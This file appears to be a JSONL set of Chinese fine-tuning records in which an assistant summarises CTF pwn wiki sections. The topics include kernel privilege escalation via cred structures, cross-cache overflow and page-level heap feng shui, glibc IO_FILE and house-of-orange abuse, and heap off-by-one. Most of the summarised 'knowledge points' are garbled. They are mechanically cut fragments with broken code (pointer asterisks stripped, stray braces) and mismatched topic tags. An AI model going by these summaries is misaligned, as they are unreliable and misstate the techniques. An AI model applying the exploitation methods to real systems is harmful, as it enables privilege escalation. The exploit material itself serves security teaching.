{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-02d9e4a0abd6989fa0fd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/introduction.md` 中的章节「本地测试可能遇到的问题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/introduction.md`\n标题：简介\n章节：简介 > 本地测试可能遇到的问题\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“本地测试可能遇到的问题”展开。\n- 在对部分老题目进行本地解题测试时，如果你并不使用上古版本的 Linux 系统（毕竟大部分例题也是好多好多好多年前的了），则有可能遇到 exp 无法执行的问题： ``shell / $ ./exp Illegal instruction ` 简而言之这是因为 glibc 等基础设施加入了对一些高级指令的调用（例如 SSE 与 AVX 相关指令），非常巧的是在 glibc 初始化函数便会调用（__libc_start_main()），而 QEMU 的普通 CPU 并不支持模拟这些指令 （毕竟 QEMU 全称 Qu...\n- 对于本地调试而言，可以将 QEMU 的启动参数修改如下， 即使用硬件虚拟化技术在你的物理 CPU 上运行该虚拟机 ： > 需要注意的是你需要将当前用户加入 kvm 组中以使用 KVM，或是使用 root 权限运行。\n- `shell qemu-system-x86_64 \\ -enable-kvm \\ -cpu host,-smep,-smap \\ `` 此外，改用 musl libc 等其他 libc 库也是可行的解决方案。\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:shell\n\n代码/命令片段线索：\n- shell: 2 行，首行 `/ $ ./exp`\n- shell: 3 行，首行 `qemu-system-x86_64 \\`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 590, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "本地测试可能遇到的问题", "heading_path": ["简介", "本地测试可能遇到的问题"], "original_id": "docs-65c5909538ef4c033a32", "original_line": 717, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/introduction.md", "source_root": "docs", "source_sha256": "00cdabd2da625d9d761c472642a9afa558f81201029fcfc1d5ca4af3c822c5d7", "split": "train", "split_group_key": "b8885c203a2a8b1b7559d547", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:shell"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-02da47656ef807a6b4a1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md`\n标题：glibc 2.24下 IO_FILE 的利用\n章节：glibc 2.24下 IO_FILE 的利用 > 新的利用技术 > _IO_str_jumps -> overflow > 示例\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“示例”展开。\n- } ` 同时 house of pig 中的利用也是比较典型的例子，注意到满足 `cpp pos = fp->_IO_write_ptr - fp->_IO_write_base;\n- 修改了 how2heap 的 houseoforange 代码，可以自己动手调试一下。\n- // unsorted bin attack p1 = malloc(0x400-16);\n- / Finally, trigger the whole chain by calling malloc / malloc(10);\n- int main() { char p1, p2;\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n- code:c\n- code:cpp\n\n代码/命令片段线索：\n- c: 41 行，首行 `#include `\n- cpp: 2 行，首行 `pos = fp->_IO_write_ptr - fp->_IO_write_base;`\n- cpp: 5 行，首行 `size_t old_blen = _IO_blen (fp);`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1768, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "示例", "heading_path": ["glibc 2.24下 IO_FILE 的利用", "新的利用技术", "_IO_str_jumps -> overflow", "示例"], "original_id": "docs-580610f96ec077bcec76", "original_line": 1198, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/exploit-in-libc2.24.md", "source_root": "docs", "source_sha256": "f033c1e253d390d1a6248d6f91cfd97718ad7e8293eb2fe6d8fa326592f01bf0", "split": "train", "split_group_key": "a2859e23724b086517ae5afb", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "io-file", "code:c", "code:cpp"], "title": "glibc 2.24下 IO_FILE 的利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/exploit-in-libc2.24.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-02ec376130c67b8ab91d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「create」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：堆中的 Off-By-One > 实例 1: Asis CTF 2016 b00ks > create\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“create”展开。\n- book 结构中存在 name 和 description ， name 和 description 在堆上分配。\n- `` printf(\"\\nEnter book name size: \", (_QWORD )&size);\n- printf(\"Enter book name (Max 32 chars): \", &size);\n- ` printf(\"\\nEnter book description size: \", (_QWORD )&size);\n- ` 之后分配 book 结构的内存 ` book = malloc(0x20uLL);\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 4 行，首行 `printf(\"\\nEnter book name size: \", *(_QWORD *)&size);`\n- plain: 3 行，首行 `printf(\"\\nEnter book description size: \", *(_QWORD *)&size);`\n- plain: 10 行，首行 `book = malloc(0x20uLL);`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 662, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "create", "heading_path": ["堆中的 Off-By-One", "实例 1: Asis CTF 2016 b00ks", "create"], "original_id": "docs-784667aedf6fd545890c", "original_line": 51, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "e111ab8bc6ca04a7a0db5b69", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-03287abc480ff15880ae", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/browser/chrome/js-engine/ignition.md` 中的章节「Ignition Bytecodes」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/browser/chrome/js-engine/ignition.md`\n标题：Ignition Interpreter\n章节：Ignition Interpreter > Ignition Bytecodes\n路径分类：pwn / pwn/browser/chrome\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Ignition Bytecodes”展开。\n- Ignition Bytecode 为定长指令集，背后对应的机器架构被设计为最常见的的寄存器机，完整的 bytecode 列表如下图所属： [图片文件: https://s2.loli.net/2025/03/11/Nm7DB84FzYrZJL2.png] 例如以下是一个 JS 代码翻译为 Ignition Bytecode 的例子（初始状态）： [图片文件: https://s2.loli.net/2025/03/11/gnlRaNOybFAYmVT.png]\n\n关键术语：\n- pwn\n- browser\n- chrome\n- js-engine\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 236, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "Ignition Bytecodes", "heading_path": ["Ignition Interpreter", "Ignition Bytecodes"], "original_id": "docs-30128e806ac5c1854eac", "original_line": 627, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/ignition.md", "source_root": "docs", "source_sha256": "b3848ae98aebf6ec2af4ed5e612d80cf8f986d72da2f886699a4045c9f59d825", "split": "train", "split_group_key": "6f719a3f413b9679b1b4edd8", "subcategory": "pwn/browser/chrome", "terms": ["pwn", "browser", "chrome", "js-engine"], "title": "Ignition Interpreter"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/ignition.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-03647b69b738b1d0eeb7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「off-by-one 漏洞原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：堆中的 Off-By-One > off-by-one 漏洞原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“off-by-one 漏洞原理”展开。\n- off-by-one 是指单字节缓冲区溢出，这种漏洞的产生往往与边界验证不严和字符串操作有关，当然也不排除写入的 size 正好就只多了一个字节的情况。\n- 字符串操作不合适 一般来说，单字节溢出被认为是难以利用的，但是因为 Linux 的堆管理机制 ptmalloc 验证的松散性，基于 Linux 堆的 off-by-one 漏洞利用起来并不复杂，并且威力强大。\n- 此外，需要说明的一点是 off-by-one 是可以基于各种缓冲区的，比如栈、bss 段等等，但是堆上（heap based） 的 off-by-one 是 CTF 中比较常见的。\n- 其中边界验证不严通常包括 - 使用循环语句向堆块中写入数据时，循环的次数设置错误（这在 C 语言初学者中很常见）导致多写入了一个字节。\n- 我们这里仅讨论堆上的 off-by-one 情况。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 368, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "off-by-one 漏洞原理", "heading_path": ["堆中的 Off-By-One", "off-by-one 漏洞原理"], "original_id": "docs-09ce3a4ddf2bc3135ae7", "original_line": 1011, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "06f0b86fbea0cb7d8bb9c641", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-0384f272cc0ee8cecac2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「Step.I - cross-cache overflow」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`\n标题：Cross-Cache Overflow & Page-level Heap Fengshui\n章节：Cross-Cache Overflow & Page-level Heap Fengshui > 例题：corCTF2022 - cache-of-castaways > 漏洞利用 > Step.I - cross-cache overflow\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Step.I - cross-cache overflow”展开。\n- 我们只需要先 fork() 堆喷 cred 耗尽 cred_jar 中 object，让其向 buddy system 请求新的页面即可，我们还需要先堆喷消耗 buddy system 中原有的页面，之后我们再分配 cred 和题目 object，两者便有较大概率相邻。\n- } ` 在 alloc_one_pg_vec_page() 中会直接调用 __get_free_pages() 向 buddy system 请求内存页，因此我们可以利用该函数进行大量的页面请求： `c static char alloc_one_pg_vec_page(unsigned long order) { char buffer;\n- //... } ` pgv` 中的页面会在 socket 被关闭后释放，这也方便我们后续的页级堆风水，不过需要注意的是低权限用户无法使用该函数，但是我们可以通过开辟新的命名空间来绕过该限制。\n- 由于我们的漏洞对象位于独立的 kmem_cache 中，因此其不会与内核中的其他常用结构体的分配混用，我们无法直接通过 slub 层的堆喷 + 堆风水来溢出到其他结构体来进行下一步利用；\n- cred 的大小为 192，cred_jar 向 buddy system 单次请求的页面数量为 1，足够分配 21 个 cred，因此我们不需要堆喷太多 cred 便能耗尽 cred_jar，不过 fork() 在执行过程中会产生很多的”噪声“（即额外分配一些我们不需要的结构体，从而影响页布局），因此这里我们改用 clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND)。\n\n关键术语：\n- CVE\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 5 行，首行 `__sys_setsockopt()`\n- c: 20 行，首行 `static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)`\n- c: 10 行，首行 `static char *alloc_one_pg_vec_page(unsigned long order)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3264, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "Step.I - cross-cache overflow", "heading_path": ["Cross-Cache Overflow & Page-level Heap Fengshui", "例题：corCTF2022 - cache-of-castaways", "漏洞利用", "Step.I - cross-cache overflow"], "original_id": "docs-6cee759a75d3594d2f7b", "original_line": 733, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "source_root": "docs", "source_sha256": "a2c8dfa6b0a89023b0f0db82bad6de6ee6403266bdc7488673a702ae7cd05846", "split": "train", "split_group_key": "3db64b42ac98b88f12b7228b", "subcategory": "pwn/linux/kernel-mode", "terms": ["CVE", "边界/溢出", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "Cross-Cache Overflow & Page-level Heap Fengshui"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-040f52612bcae2b35d41", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Step.I - 页级堆风水构造稳定跨页溢出布局」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Step.I - 页级堆风水构造稳定跨页溢出布局\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Step.I - 页级堆风水构造稳定跨页溢出布局”展开。\n- 为了保证溢出的稳定性，这里笔者使用页级堆风水的方法来构造预溢出布局，通过页级堆风水获得对一块连续内存的页级掌控，从而可以这样构造出如下图所示堆布局： - 先释放一部分页面，让 victim object 取得这些页面 - 释放一份页面，向题目模块请求分配对象，从而获得该份页面 - 再释放一部分页面，让 victim object 取得这些页面 这样题目所在的页面便会被夹在 victim 对象的页面中间，使得溢出的稳定性大幅增加。\n- [图片文件: ./figure/d3kcache-cross-cache-overflow.png]\n- > 页级堆风水的实现细节在上一章中已有讲述，这里不再赘叙。\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 313, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "Step.I - 页级堆风水构造稳定跨页溢出布局", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用", "Step.I - 页级堆风水构造稳定跨页溢出布局"], "original_id": "docs-8d72ef0ed9e07d8c6b2d", "original_line": 40, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "a0af739015298189c0378a14", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "边界/溢出", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-04fc9dee443b9e211625", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「池描述符：内核共享内存池」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > 内存管理 > 二、Pool Memory（before 19H1） > 池描述符：内核共享内存池\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“池描述符：内核共享内存池”展开。\n- > 这个结构在 Windows 10 数个版本当中也经历了一定的大大小小的变化， 但比较关键的变化是从 1809 版本到 1903 （19H1）版本，自 1903 版本 NT kernel 引入了 Segment Heap 机制作为内核的动态内存分配器，因此这一小节我们主要讲 1809 及以前的仍使用池内存分配器的 64 位版本。\n- 类似于 Linux kernel 中的 kmem_cache ，Windows kernel 中单个内存池使用 _POOL_DESCRIPTOR 结构进行表示，其结构如下图所示： [图片文件: https://s2.loli.net/2025/02/05/lcemqOtFIfyMCVa.png] 池描述符所对应的内存池在整个内核间共享，比较核心的有两个链表： - ListHeads 链表数组：存放常规的释放后的池块，使用双向链表进行连接，根据池块大小的不同放入不同的子链表中 - PendingFrees 链表...\n\n关键术语：\n- 堆\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 534, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "池描述符：内核共享内存池", "heading_path": ["基础知识", "内存管理", "二、Pool Memory（before 19H1）", "池描述符：内核共享内存池"], "original_id": "docs-39e9a0affac0d9b5175c", "original_line": 1455, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "11afbb50fca30d71c0fe8d4e", "subcategory": "pwn/windows/kernel-mode", "terms": ["堆", "pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-05125d7a5f5b7958903e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md` 中的章节「Change Self」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md`\n标题：Change Self\n章节：Change Self\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Change Self”展开。\n- / GID for VFS ops */ ... } `` 因此，思路就比较直观了，我们可以通过以下方式来提权 - 直接修改 cred 结构体的内容 - 修改 task_struct 结构体中的 cred 指针指向一个满足要求的 cred 无论是哪一种方法，一般都分为两步：定位，修改。\n- 内核会通过进程的 task_struct 结构体中的 cred 指针来索引 cred 结构体，然后根据 cred 的内容来判断一个进程拥有的权限，如果 cred 结构体成员中的 uid-fsgid 都为 0，那一般就会认为进程具有 root 权限。\n- ``c struct cred { atomic_t usage;\n- #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers;\n- / number of processes subscribed / void put_addr;\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- aim\n- code:c\n\n代码/命令片段线索：\n- c: 19 行，首行 `struct cred {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 834, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "Change Self", "heading_path": ["Change Self"], "original_id": "docs-07c134e20928f002d0e1", "original_line": 35, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md", "source_root": "docs", "source_sha256": "d1cfeb5ddd01e316391d6982c05f447b84f57f808d2581f0482d9ade31e9e252", "split": "train", "split_group_key": "d9ed0ec5f133432a3f107280", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "pwn", "linux", "kernel-mode", "aim", "code:c"], "title": "Change Self"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-052af687bf986145dd2f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md`\n标题：glibc 2.24下 IO_FILE 的利用\n章节：glibc 2.24下 IO_FILE 的利用 > 新的利用技术 > fileno 与缓冲区的相关利用 > 示例\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“示例”展开。\n- int main() { char stack_buf[100];\n- 简单的观察一下_IO_FILE对于调用scanf的作用 `` #include \"stdio.h\" char buf[100];\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n\n代码/命令片段线索：\n- plain: 8 行，首行 `#include \"stdio.h\"`\n- plain: 14 行，首行 `0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2088 0x0000000000000000`\n- plain: 14 行，首行 `0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad2288 0x0000000000602013`\n- plain: 5 行，首行 `Start End Offset Perm Path`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4715, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "示例", "heading_path": ["glibc 2.24下 IO_FILE 的利用", "新的利用技术", "fileno 与缓冲区的相关利用", "示例"], "original_id": "docs-7b12bf42ceb8572abcc1", "original_line": 1196, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/exploit-in-libc2.24.md", "source_root": "docs", "source_sha256": "f033c1e253d390d1a6248d6f91cfd97718ad7e8293eb2fe6d8fa326592f01bf0", "split": "train", "split_group_key": "a2859e23724b086517ae5afb", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "io-file"], "title": "glibc 2.24下 IO_FILE 的利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/exploit-in-libc2.24.md", "split": "train", "type": "ctf_lora_sft"}
